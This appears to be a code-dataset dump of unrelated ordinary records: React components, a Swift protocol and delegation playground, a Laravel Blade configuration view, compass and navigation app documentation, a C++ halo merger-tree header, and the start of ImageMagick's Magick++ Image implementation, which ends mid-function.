text
stringlengths
184
4.48M
import React from "react"; import PropTypes from "prop-types"; import { v4 } from 'uuid'; import ReusableForm from "../utils/ReusableForm"; import { useState } from "react"; const NewCoffeeForm = (props) => { const [valErr, setValErr] = useState(false); const handleNewCoffeeFormSubmission = (event) => { event.preventDefault(); // Set input values as variables to use in validation check. const name = event.target[0].value; const origin = event.target[1].value; const price = parseInt(event.target[2].value); const roast = event.target[3].value; // Validation check for empty input fields and price for NaN values. if (!name || !origin || isNaN(price) || !roast) { setValErr(true); return } const newCoffee = { id: v4(), name, origin, price, roast, quantity: 130, isOutOfStock: false } props.onCreateCoffee(newCoffee); } return ( <React.Fragment> {valErr && <h2>Please fill all the empty inputs, price must be a number.</h2>} <ReusableForm formSubmissionHandler={handleNewCoffeeFormSubmission} buttonText="Add New Coffee" /> </React.Fragment> ); } NewCoffeeForm.propTypes = { onCreateCoffee: PropTypes.func }; export default NewCoffeeForm;
import * as React from 'react' import { Fragment, ReactElement } from 'react' import { RouterInterface } from 'services/router' import { usePost } from 'domains/posts/domains/post/hooks/usePost' import { Preloader } from 'components/atoms/Preloader' import { Stack } from 'components/atoms/Stack' import { Typography } from 'components/atoms/Typography' import { Link } from 'components/atoms/Link' import { SkeletonTypography } from 'components/molecules/SkeletonTypography' import { AuthLayout } from 'domains/client/domains/auth/components/AuthLayout' type PostProps = { router: RouterInterface } function Post({ router }: PostProps): ReactElement { const { loading, post } = usePost(router) return ( <Fragment> <Preloader shown={loading} /> <AuthLayout content={ <Fragment> <Stack vertical={32}> <Stack vertical={12}> <Typography size={16} lineHeight="small" mix> <Link to="post-list">← Posts</Link> </Typography> {post?.title ? ( <Typography size={32} weight="semi-bold" lineHeight="small"> {post.title} </Typography> ) : ( <SkeletonTypography size={32} weight="semi-bold" lineHeight="small" minLength={5} maxLength={9} /> )} {post?.body ? ( <Typography size={16}>{post.body}</Typography> ) : ( <SkeletonTypography size={16} minLength={2200} maxLength={2800} wordBreak="break-all" /> )} </Stack> </Stack> </Fragment> } /> </Fragment> ) } export { Post }
//: Playground - noun: a place where people can play import UIKit // Create a protocol called fully named // it should require a var called fullName // that must be a string and gettable protocol FullyNamed { var fullName: String { get } } // create a structure called person conforming to fullynamed // include a variable to conform with the protocol struct Person : FullyNamed { var fullName: String } // create a protocol called RandomNumber Generator // enforce a method that takes no input but returns a double // create class that conforms to the protocol protocol RandomNumberGenerator { static func random() -> Double } class Random { static func random() -> Double { let x = drand48() let y = Double(round(1000*x)/1000) return y } } Random.random() // Below is delegation example using a Snakes and Ladders game // There is a game class that can play the game // THere is a tracker class that can be a delegate of trackers // The game class can check for a delegate tracker and use it's // methods if it exists to track the game // Imagine a view with the game playing out // and a seperate view tracking the game // the viewing playing the game can use tracking code through delegation // Note that delegates and protocols are one to one comms patterns // Imagine it as Boss and Intern class LinearCongruentialGenerator { var lastRandom = 42.0 let m = 139968.0 let a = 3877.0 let c = 29573.0 func random() -> Double { lastRandom = ((lastRandom * a + c).truncatingRemainder(dividingBy:m)) return lastRandom / m } } let generator = LinearCongruentialGenerator() print("Here's a random number: \(generator.random())") class Dice { let sides: Int let generator: LinearCongruentialGenerator init(sides: Int, generator: LinearCongruentialGenerator) { self.sides = sides self.generator = generator } func roll() -> Int { return Int(generator.random() * Double(sides)) + 1 } } protocol DiceGame { var dice: Dice { get } func play() } protocol DiceGameDelegate { func gameDidStart(_ game: DiceGame) func game(_ game: DiceGame, didStartNewTurnWithDiceRoll diceRoll: Int) func gameDidEnd(_ game: DiceGame) } class SnakesAndLadders: DiceGame { let finalSquare = 25 let dice = Dice(sides: 6, generator: LinearCongruentialGenerator()) var square = 0 var board: [Int] init() { board = Array(repeating: 0, count: finalSquare + 1) board[03] = +08; board[06] = +11; board[09] = +09; board[10] = +02 board[14] = -10; board[19] = -11; board[22] = -02; board[24] = -08 } var delegate: DiceGameDelegate? func play() { square = 0 delegate?.gameDidStart(self) gameLoop: while square != finalSquare { let diceRoll = dice.roll() delegate?.game(self, didStartNewTurnWithDiceRoll: diceRoll) switch square + diceRoll { case finalSquare: break gameLoop case let newSquare where newSquare > finalSquare: continue gameLoop default: square += diceRoll square += board[square] } } delegate?.gameDidEnd(self) } } class DiceGameTracker: DiceGameDelegate { var numberOfTurns = 0 func gameDidStart(_ game: DiceGame) { numberOfTurns = 0 if game is SnakesAndLadders { print("Started a new game of Snakes and Ladders") } print("The game is using a \(game.dice.sides)-sided dice") } func game(_ game: DiceGame, didStartNewTurnWithDiceRoll diceRoll: Int) { numberOfTurns += 1 print("Rolled a \(diceRoll)") } func gameDidEnd(_ game: DiceGame) { print("The game lasted for \(numberOfTurns) turns") } } let tracker = DiceGameTracker() let game = SnakesAndLadders() game.delegate = tracker game.play() // Started a new game of Snakes and Ladders // The game is using a 6-sided dice // Rolled a 3 // Rolled a 5 // Rolled a 4 // Rolled a 5 // The game lasted for 4 turns
@extends('layouts.app') @section('title') Outelt Config @endsection @section('style') <!-- Select2 --> <link rel="stylesheet" href="{{ asset('assets/plugins/select2/css/select2.min.css')}}"> <link rel="stylesheet" href="{{ asset('assets/plugins/select2-bootstrap4-theme/select2-bootstrap4.min.css')}}"> @endsection @section('content') @php $links = [ 'Home'=>route('dashboard'), 'Outelt Config'=>'' ] @endphp <x-breadcrumb title='Outelt Config' :links="$links" /> <!-- Main content --> <section class="content"> <div class="container-fluid"> <div class="row"> <div class="col-12"> <form action="{{route('outlet-configs.store')}}" method="POST" class="" enctype="multipart/form-data"> @csrf {{-- @method('put') --}} <!-- Horizontal Form --> <div class="card card-info"> <div class="card-body"> <div class="row"> <div class="col-xl-12 col-md-12 col-12 mb-1"> <label for="name">Outlets</label> <table class="table table-bordered"> <thead> <tr> <th>Outlet</th> <th>Cash Account</th> <th>Bkash Account</th> </tr> </thead> @foreach ($outlets as $row) @php $bkashConfig = \App\Models\OutletTransactionConfig::where(['outlet_id'=>$row->id,'type'=>'Bkash'])->first(); $cashConfig = \App\Models\OutletTransactionConfig::where(['outlet_id'=>$row->id,'type'=>'Cash'])->first(); $bkash = $bkashConfig ? $bkashConfig->coa_id : null; $cash = $cashConfig ? $cashConfig->coa_id : null; @endphp <tr> <td>{{ $row->name }}</td> <td> <select name="settings[{{ $row->id }}][Cash]" id="" class="form-control"> @foreach(getAllLedgers() as $account) <option value="{{ $account->id }}" {{ $account->id == $cash ? 'selected' : '' }}>{{ $account->display_name }}</option> @endforeach </select> </td> <td> <select name="settings[{{ $row->id }}][Bkash]" id="" class="form-control"> @foreach(getAllLedgers() as $account) <option value="{{ $account->id }}" {{ $account->id == $bkash ? 'selected' : '' }}>{{ $account->display_name }}</option> @endforeach </select> </td> </tr> @endforeach </table> </div> </div> </div> <div class="card-footer"> <button class="btn btn-info float-right"><i class="fa fa-check" aria-hidden="true"></i> Update </button> </div> </div> <!-- /.card --> </form> </div> <div class="col-2"></div> </div> <!-- /.row --> </div><!-- /.container-fluid --> </section> <!-- /.content --> @endsection @push('js') <!-- Select2 --> <script src="{{ asset('assets/plugins/select2/js/select2.full.min.js')}}"></script> <script> $(function () { //Initialize Select2 Elements $('.select2').select2() //Initialize Select2 Elements $('.select2bs4').select2({ theme: 'bootstrap4' }) }) </script> @endpush
The Navigation tool can be used to navigate to a beacon, follow a path, or follow a bearing. ## Compass The compass can be used for both orientation and navigation. Your bearing is displayed at the top of the screen. This feature is not available if your device does not have a compass. ### Nearby You can choose to display nearby beacons on the compass. The following settings control the nearby beacons: - **Settings > Navigation > Show nearby beacons**: Determines if nearby beacons are shown on the compass. - **Settings > Navigation > Nearby beacon radius**: Determines the maximum distance a beacon can be from your location to be shown on the compass. - **Settings > Navigation > Nearby beacons**: Limits the number of nearby beacons shown on the compass. Nearby beacons will be shown as arrows around the compass. The arrows will point to the beacon, and when you are facing the beacon, more information about it will be shown at the bottom of the screen. If you have the radar compass enabled, the nearby beacons will be shown on the compass itself. ### Radar compass The radar compass shows nearby beacons, paths, and tides as a map-like radar display. The radar compass is available with nearby beacons enabled. Once nearby beacons are enabled, you can turn on the radar compass using "Settings > Navigation > Show nearby radar compass". You can pinch to zoom the radar compass, which will change the nearby beacon radius. If your device does not have a compass, you can still choose to display the compass dial ticks by enabling the Settings > Navigation > 'Show dial ticks on nearby radar' option. Please note, that without a compass sensor, moving your device will not change the direction of the radar compass. ### Linear compass The linear compass is displayed when you hold your phone vertically. You can also use the sighting compass feature with the linear compass by tapping the camera icon on the right side of the screen. This will display the compass overlaid on a camera viewfinder. With the sighting compass active, you can pinch to zoom the camera viewfinder. You can enable or disable the linear compass under Settings > Navigation > Show linear compass. ### North reference By default, it will point to True North, but it can be configured to point to magnetic north in the compass settings. The north reference is displayed at the bottom of the screen. ### Sun and moon The compass shows the direction of the sun and moon, allowing you to navigate using them and verify the accuracy of the compass. You can configure the sun and moon display in Settings > Navigation > Show sun/moon on compass. The options are: - **Always**: Always show the sun and moon on the compass. - **When up**: Only show the sun and moon when they are above the horizon. - **Never**: Never show the sun and moon on the compass. ### Calibration Phone compasses are not always accurate, so you should frequently calibrate your compass. You can calibrate your compass by waving your phone in a figure-8 pattern. For more detailed instructions and a visual, click the status icons in the bottom-left of the Navigation tool. This will guide you in calibrating your compass and also show details about location accuracy. ## Beacon navigation You can navigate to a beacon by tapping the navigate button in the bottom-right. This will open the Beacons tool, where you can select a beacon to navigate to. See the Beacons guide for more information. While navigating to a beacon, the direction will be displayed on the compass and all other nearby beacons will become transparent. A navigation panel will display at the bottom of your screen with the following information: - **Name**: The name of the beacon you are navigating to. - **Distance**: The distance to the beacon. - **Bearing**: The bearing to the beacon. - **ETA**: The estimated time of arrival to the beacon. - **Elevation**: The elevation of the beacon and difference from your current elevation. - **Notes**: Any notes you have for the beacon. This will show as an icon if there are notes, and you can tap it to see the notes. You can stop navigating to a beacon by tapping the 'X' button in the bottom-right. You can quickly create a beacon from your current location by long-pressing the navigation icon at the bottom-right. This will open the Beacons tool with the location and elevation pre-filled. For more information on beacons, see the Beacons guide. ## Bearing navigation You can navigate using a bearing by tapping the compass to set a bearing. The set bearing will be displayed on the compass. You can tap the compass again to clear the bearing. ## Path navigation If you have the radar compass enabled, you can see nearby paths on the compass. You can't currently navigate along a path, but you can use the compass to see where the path is relative to you. If you have Backtrack running, you can see your current position on the path. For more information, see the Paths guide. ## Location Your current location is shown at the top of the screen. You can tap it to see more details about your location. The details panel shows the following information: - **Share**: Choose to copy your location to your clipboard, share it as a QR code, open it in a map app, or share it as a text message. - **Format**: The coordinate format to see your location in. This defaults to the format you have in Settings > Units > Coordinate format. Changes made here are temporary and will not change your default coordinate format. - **Accuracy**: The accuracy of your location. - **Satellites**: The number of satellites used to calculate your location. - **Time since last fix**: The time since your location was last updated. - **Datum**: The datum of the location. This will always be WGS 84. You can long-press the location to quickly bring up the share menu. ## Elevation Your elevation is shown at the top-left of the screen. You can tap it to see a history of your elevation. The history is only available if you have Backtrack or the weather monitor running - see the Paths or Weather guide for details on how to turn this on. You can adjust the length of the history by clicking the "Last 24h" dropdown at the top of the history panel. ## Speed Your speed is shown at the top-right of the screen. You can change the source of the speed in Settings > Navigation > Speedometer. The options are: - **Current speed (GPS)**: The speed reported by your GPS. - **Average speed (Backtrack)**: The average speed calculated by Backtrack. This requires Backtrack to be running. See the Paths guide for more information. - **Current speed (Pedometer)**: The speed calculated by your phone's pedometer. This requires the pedometer to be running. See the Pedometer guide for more information. - **Average speed (Pedometer)**: The average speed calculated by your phone's pedometer since you started tracking. This requires the pedometer to be running. See the Pedometer guide for more information.
/** * @brief ParallelHaloMergerTree extends the HaloMergerTreeKernel and * implements functionality for building incrementally a merger-tree * on halos that are distributed among several processes. */ #ifndef PARALLELHALOMERGERTREE_H_ #define PARALLELHALOMERGERTREE_H_ #include "HaloMergerTreeKernel.h" #include "CosmoToolsMacros.h" #include "DistributedHaloEvolutionTree.h" // MPI #include <mpi.h> // STL data-structures #include <map> #include <vector> namespace cosmotk { // Forward declarations class Halo; class HaloNeighborExchange; // Data-structure to store halos based on hash-code typedef std::map<std::string,Halo> HaloHashMap; class ParallelHaloMergerTree: public HaloMergerTreeKernel { public: ParallelHaloMergerTree(); virtual ~ParallelHaloMergerTree(); /** * @brief Get/Set the communicator */ GetNSetMacro(Communicator,MPI_Comm); /** * @brief Returns rank of this process. * @return r the rank of this process. */ int GetRank() { int rank; MPI_Comm_rank(this->Communicator,&rank); return( rank ); }; /** * @brief Given two sets of halos at different time-steps, this method * updates the merger-tree, represented by a user-supplied halo evolution * tree instance. * @param t1 the time-step of the first set of halos (in). * @param haloSet1 array of halos at t1 (in). * @param M the number of halos at t1 (in). * @param t2 the time-step of the 2nd set of halos (in). * @param haloSet2 array of halos at t2 (in). * @param N the number of halos at t2 (in). * @param t the halo evolution tree (out). * @pre (t1 < t2). * @pre (M >= 1) && (N >= 1). * @pre (haloSet1 != NULL) && (haloSet2 != NULL). * @pre (t != NULL). */ virtual void UpdateMergerTree( const int t1, Halo *haloSet1, const int M, const int t2, Halo *haloSet2, const int N, DistributedHaloEvolutionTree *t); /** * @brief Computes the global number of birth events detected. * @return N the total number of births. * @note This method is collective, all ranks must call it. */ int GetTotalNumberOfBirths(); /** * @brief Computes the global number of re-birth events detected. * @return N the total number of re-births. * @note This method is collective, all ranks must call it. */ int GetTotalNumberOfRebirths(); /** * @brief Computes the global number of merge events detected. * @return N the total number of merges. * @note This method is collective, all ranks must call it. */ int GetTotalNumberOfMerges(); /** * @brief Computes the global number of split events detected. * @return N the total number of splits. * @note This method is collective, all ranks must call it. */ int GetTotalNumberOfSplits(); /** * @brief Computes the global number of death events detected. * @return N the total number of deaths. * @note This method is collective, all ranks must call it. */ int GetTotalNumberOfDeaths(); /** * @brief Returns the total number of halos in memory across all ranks. * @return nhalos total number of halos. * @note This method is collective, all ranks must call it. */ int GetTotalNumberOfHalos(); /** * @brief Returns the total number of particles in memory across all ranks. * @return nhpart total number of halos particles. * @note This method is collective, all ranks must call it. */ int GetTotalNumberOfHaloParticles(); /** * @brief Barrier synchronization among all processes */ void Barrier() { MPI_Barrier(this->Communicator); }; protected: MPI_Comm Communicator; // Keeps an incremental count of the number of nodes, i.e., halos per // time-step including zombies. Used for calculation of Global IDs. ID_T NumberOfNodes; // TemporalHalos data-structure is a vector of size 2 // TemporalHalos[0] holds the list of halos at the previous time-step // TemporalHalos[1] holds the list of halos at the current time-step // Both lists are global in the sense that they contain, the neighbor // halos as well. std::vector< std::vector< cosmotk::Halo > > TemporalHalos; // Indices used to access the TemporalHalos data-structure int CurrentIdx; int PreviousIdx; HaloNeighborExchange *NeighborExchange; /** * @brief Assigns global IDs to the zombie nodes in the current timestep. * @param zombieIds index list to zombie nodes within the current time-step. * @param N number of zombies. */ void AssignGlobalIdsToZombieNodes( int *zombieIds, const int N); /** * @brief Assigns a global ID to the given halos. * @param halos pointer to the list of halos. * @param NumHalos number of halos. */ void AssignGlobalIds(Halo* halos, const int NumHalos); /** * @brief Updates halo evolution tree accordingly to treat death events. * @param t pointer the DistributedHaloEvolutionTree. */ void HandleDeathEvents(DistributedHaloEvolutionTree *t); /** * @brief Prints the temporal halos stored in each process. * @note Used for debugging. */ void PrintTemporalHalos(); private: DISABLE_COPY_AND_ASSIGNMENT(ParallelHaloMergerTree); }; } /* namespace cosmotk */ #endif /* PARALLELHALOMERGERTREE_H_ */
// This may look like C code, but it is really -*- C++ -*- // // Copyright Bob Friesenhahn, 1999, 2000, 2001, 2002, 2003 // // Implementation of Image // #define MAGICKCORE_IMPLEMENTATION 1 #define MAGICK_PLUSPLUS_IMPLEMENTATION 1 #include "Magick++/Include.h" #include <cstdlib> #include <string> #include <string.h> #include <errno.h> #include <math.h> using namespace std; #include "Magick++/Image.h" #include "Magick++/Functions.h" #include "Magick++/Pixels.h" #include "Magick++/Options.h" #include "Magick++/ImageRef.h" #define AbsoluteValue(x) ((x) < 0 ? -(x) : (x)) #define DegreesToRadians(x) (MagickPI*(x)/180.0) MagickPPExport const char *Magick::borderGeometryDefault = "6x6+0+0"; MagickPPExport const char *Magick::frameGeometryDefault = "25x25+6+6"; MagickPPExport const char *Magick::raiseGeometryDefault = "6x6+0+0"; static bool magick_initialized=false; // // Explicit template instantiations // // // Friend functions to compare Image objects // MagickPPExport int Magick::operator == ( const Magick::Image& left_, const Magick::Image& right_ ) { // If image pixels and signature are the same, then the image is identical return ( ( left_.rows() == right_.rows() ) && ( left_.columns() == right_.columns() ) && ( left_.signature() == right_.signature() ) ); } MagickPPExport int Magick::operator != ( const Magick::Image& left_, const Magick::Image& right_ ) { return ( ! (left_ == right_) ); } MagickPPExport int Magick::operator > ( const Magick::Image& left_, const Magick::Image& right_ ) { return ( !( left_ < right_ ) && ( left_ != right_ ) ); } MagickPPExport int Magick::operator < ( const Magick::Image& left_, const Magick::Image& right_ ) { // If image pixels are less, then image is smaller return ( ( left_.rows() * left_.columns() ) < ( right_.rows() * right_.columns() ) ); } MagickPPExport int Magick::operator >= ( const Magick::Image& left_, const Magick::Image& right_ ) { return ( ( left_ > right_ ) || ( left_ == right_ ) ); } MagickPPExport int Magick::operator <= ( const Magick::Image& left_, const Magick::Image& right_ ) { return ( ( left_ < right_ ) || ( left_ == right_ ) ); } // // Image object implementation // // Construct from image file or image specification Magick::Image::Image ( const std::string &imageSpec_ ) : _imgRef(new ImageRef) { try { // Initialize, Allocate and Read images read( imageSpec_ ); } catch ( const Warning & /*warning_*/ ) { // FIXME: need a way to report warnings in constructor } catch ( const Error & /*error_*/ ) { // Release resources delete _imgRef; throw; } } // Construct a blank image canvas of specified size and color Magick::Image::Image ( const Geometry &size_, const Color &color_ ) : _imgRef(new ImageRef) { // xc: prefix specifies an X11 color string std::string imageSpec("xc:"); imageSpec += color_; try { // Set image size size( size_ ); // Initialize, Allocate and Read images read( imageSpec ); } catch ( const Warning & /*warning_*/ ) { // FIXME: need a way to report warnings in constructor } catch ( const Error & /*error_*/ ) { // Release resources delete _imgRef; throw; } } // Construct Image from in-memory BLOB Magick::Image::Image ( const Blob &blob_ ) : _imgRef(new ImageRef) { try { // Initialize, Allocate and Read images read( blob_ ); } catch ( const Warning & /*warning_*/ ) { // FIXME: need a way to report warnings in constructor } catch ( const Error & /*error_*/ ) { // Release resources delete _imgRef; throw; } } // Construct Image of specified size from in-memory BLOB Magick::Image::Image ( const Blob &blob_, const Geometry &size_ ) : _imgRef(new ImageRef) { try { // Read from Blob read( blob_, size_ ); } catch ( const Warning & /*warning_*/ ) { // FIXME: need a way to report warnings in constructor } catch ( const Error & /*error_*/ ) { // Release resources delete _imgRef; throw; } } // Construct Image of specified size and depth from in-memory BLOB Magick::Image::Image ( const Blob &blob_, const Geometry &size_, const size_t depth_ ) : _imgRef(new ImageRef) { try { // Read from Blob read( blob_, size_, depth_ ); } catch ( const Warning & /*warning_*/ ) { // FIXME: need a way to report warnings in constructor } catch ( const Error & /*error_*/ ) { // Release resources delete _imgRef; throw; } } // Construct Image of specified size, depth, and format from in-memory BLOB Magick::Image::Image ( const Blob &blob_, const Geometry &size_, const size_t depth_, const std::string &magick_ ) : _imgRef(new ImageRef) { try { // Read from Blob read( blob_, size_, depth_, magick_ ); } catch ( const Warning & /*warning_*/ ) { // FIXME: need a way to report warnings in constructor } catch ( const Error & /*error_*/ ) { // Release resources delete _imgRef; throw; } } // Construct Image of specified size, and format from in-memory BLOB Magick::Image::Image ( const Blob &blob_, const Geometry &size_, const std::string &magick_ ) : _imgRef(new ImageRef) { try { // Read from Blob read( blob_, size_, magick_ ); } catch ( const Warning & /*warning_*/ ) { // FIXME: need a way to report warnings in constructor } catch ( const Error & /*error_*/ ) { // Release resources delete _imgRef; throw; } } // Construct an image based on an array of raw pixels, of specified // type and mapping, in memory Magick::Image::Image ( const size_t width_, const size_t height_, const std::string &map_, const StorageType type_, const void *pixels_ ) : _imgRef(new ImageRef) { try { read( width_, height_, map_.c_str(), type_, pixels_ ); } catch ( const Warning & /*warning_*/ ) { // FIXME: need a way to report warnings in constructor } catch ( const Error & /*error_*/ ) { // Release resources delete _imgRef; throw; } } // Default constructor Magick::Image::Image ( void ) : _imgRef(new ImageRef) { } // Destructor /* virtual */ Magick::Image::~Image() { bool doDelete = false; { Lock( &_imgRef->_mutexLock ); if ( --_imgRef->_refCount == 0 ) doDelete = true; } if ( doDelete ) { delete _imgRef; } _imgRef = 0; } // Adaptive-blur image void Magick::Image::adaptiveBlur ( const double radius_, const double sigma_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = AdaptiveBlurImage( constImage(), radius_, sigma_, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::adaptiveResize ( const Geometry &geometry_ ) { ssize_t x = 0; ssize_t y = 0; size_t width = columns(); size_t height = rows(); ParseMetaGeometry( static_cast<std::string>(geometry_).c_str(), &x, &y, &width, &height ); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = AdaptiveResizeImage( constImage(), width, height, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::adaptiveSharpen ( const double radius_, const double sigma_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = AdaptiveSharpenImage( constImage(), radius_, sigma_, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::adaptiveSharpenChannel ( const ChannelType channel_, const double radius_, const double sigma_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); ChannelType channel_mask = SetImageChannelMask( image(), channel_); MagickCore::Image* newImage = AdaptiveSharpenImage( constImage(), radius_, sigma_, &exceptionInfo ); SetPixelChannelMask( image(), channel_mask ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Local adaptive threshold image // http://www.dai.ed.ac.uk/HIPR2/adpthrsh.htm // Width x height define the size of the pixel neighborhood // offset = constant to subtract from pixel neighborhood mean void Magick::Image::adaptiveThreshold ( const size_t width_, const size_t height_, const ssize_t offset_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = AdaptiveThresholdImage( constImage(), width_, height_, offset_, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Add noise to image void Magick::Image::addNoise ( const NoiseType noiseType_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = AddNoiseImage ( constImage(), noiseType_, 1.0, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::addNoiseChannel ( const ChannelType channel_, const NoiseType noiseType_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); ChannelType channel_mask = SetImageChannelMask( image(), channel_); MagickCore::Image* newImage = AddNoiseImage ( constImage(), noiseType_, 1.0, &exceptionInfo ); SetPixelChannelMask( image(), channel_mask ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Affine Transform image void Magick::Image::affineTransform ( const DrawableAffine &affine_ ) { ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); AffineMatrix _affine; _affine.sx = affine_.sx(); _affine.sy = affine_.sy(); _affine.rx = affine_.rx(); _affine.ry = affine_.ry(); _affine.tx = affine_.tx(); _affine.ty = affine_.ty(); MagickCore::Image* newImage = AffineTransformImage( constImage(), &_affine, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Set or attenuate the alpha channel. If the image pixels are // opaque then they are set to the specified alpha value, otherwise // they are blended with the supplied alpha value. The value of // alpha_ ranges from 0 (completely opaque) to QuantumRange. The defines // OpaqueAlpha and TransparentAlpha are available to specify // completely opaque or completely transparent, respectively. void Magick::Image::alpha ( const unsigned int alpha_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); SetImageAlpha( image(), alpha_, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::alphaChannel ( AlphaChannelOption alphaOption_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); SetImageAlphaChannel( image(), alphaOption_, &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Annotate using specified text, and placement location void Magick::Image::annotate ( const std::string &text_, const Geometry &location_ ) { annotate ( text_, location_, NorthWestGravity, 0.0 ); } // Annotate using specified text, bounding area, and placement gravity void Magick::Image::annotate ( const std::string &text_, const Geometry &boundingArea_, const GravityType gravity_ ) { annotate ( text_, boundingArea_, gravity_, 0.0 ); } // Annotate with text using specified text, bounding area, placement // gravity, and rotation. void Magick::Image::annotate ( const std::string &text_, const Geometry &boundingArea_, const GravityType gravity_, const double degrees_ ) { modifyImage(); DrawInfo *drawInfo = options()->drawInfo(); drawInfo->text = const_cast<char *>(text_.c_str()); char boundingArea[MaxTextExtent]; drawInfo->geometry = 0; if ( boundingArea_.isValid() ) { if ( boundingArea_.width() == 0 || boundingArea_.height() == 0 ) { FormatLocaleString( boundingArea, MaxTextExtent, "%+.20g%+.20g", (double) boundingArea_.xOff(), (double) boundingArea_.yOff() ); } else { (void) CopyMagickString( boundingArea, string(boundingArea_).c_str(), MaxTextExtent); } drawInfo->geometry = boundingArea; } drawInfo->gravity = gravity_; AffineMatrix oaffine = drawInfo->affine; if ( degrees_ != 0.0) { AffineMatrix affine; affine.sx=1.0; affine.rx=0.0; affine.ry=0.0; affine.sy=1.0; affine.tx=0.0; affine.ty=0.0; AffineMatrix current = drawInfo->affine; affine.sx=cos(DegreesToRadians(fmod(degrees_,360.0))); affine.rx=sin(DegreesToRadians(fmod(degrees_,360.0))); affine.ry=(-sin(DegreesToRadians(fmod(degrees_,360.0)))); affine.sy=cos(DegreesToRadians(fmod(degrees_,360.0))); drawInfo->affine.sx=current.sx*affine.sx+current.ry*affine.rx; drawInfo->affine.rx=current.rx*affine.sx+current.sy*affine.rx; drawInfo->affine.ry=current.sx*affine.ry+current.ry*affine.sy; drawInfo->affine.sy=current.rx*affine.ry+current.sy*affine.sy; drawInfo->affine.tx=current.sx*affine.tx+current.ry*affine.ty +current.tx; } ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); AnnotateImage( image(), drawInfo, &exceptionInfo ); // Restore original values drawInfo->affine = oaffine; drawInfo->text = 0; drawInfo->geometry = 0; throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } // Annotate with text (bounding area is entire image) and placement gravity. void Magick::Image::annotate ( const std::string &text_, const GravityType gravity_ ) { modifyImage(); DrawInfo *drawInfo = options()->drawInfo(); drawInfo->text = const_cast<char *>(text_.c_str()); drawInfo->gravity = gravity_; ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); AnnotateImage( image(), drawInfo, &exceptionInfo ); drawInfo->gravity = NorthWestGravity; drawInfo->text = 0; throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::artifact ( const std::string &name_, const std::string &value_ ) { modifyImage(); (void) SetImageArtifact ( image(), name_.c_str(), value_.c_str() ); } std::string Magick::Image::artifact ( const std::string &name_ ) { const char *value = GetImageArtifact ( image(), name_.c_str() ); if (value) return std::string( value ); return std::string( ); } void Magick::Image::autoGamma ( void ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); AutoGammaImage( image(), &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::autoGammaChannel ( const ChannelType channel_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); ChannelType channel_mask = SetImageChannelMask( image(), channel_ ); AutoGammaImage( image(), &exceptionInfo ); SetPixelChannelMask( image(), channel_mask ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::autoLevel ( void ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); AutoLevelImage( image(), &exceptionInfo); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::autoLevelChannel ( const ChannelType channel_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); ChannelType channel_mask = SetImageChannelMask( image(), channel_ ); AutoLevelImage( image(), &exceptionInfo); SetPixelChannelMask( image(), channel_mask ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::autoOrient ( void ) { if (image()->orientation == UndefinedOrientation || image()->orientation == TopLeftOrientation) return; ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); MagickCore::Image* newImage = AutoOrientImage( constImage(), image()->orientation, &exceptionInfo ); replaceImage( newImage ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::blackThreshold ( const std::string &threshold_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); BlackThresholdImage( image(), threshold_.c_str(), &exceptionInfo ); throwException( exceptionInfo ); (void) DestroyExceptionInfo( &exceptionInfo ); } void Magick::Image::blackThresholdChannel ( const ChannelType channel_, const std::string &threshold_ ) { modifyImage(); ExceptionInfo exceptionInfo; GetExceptionInfo( &exceptionInfo ); ChannelType channel_mask = SetImageChannelMask( image(), channel_ ); 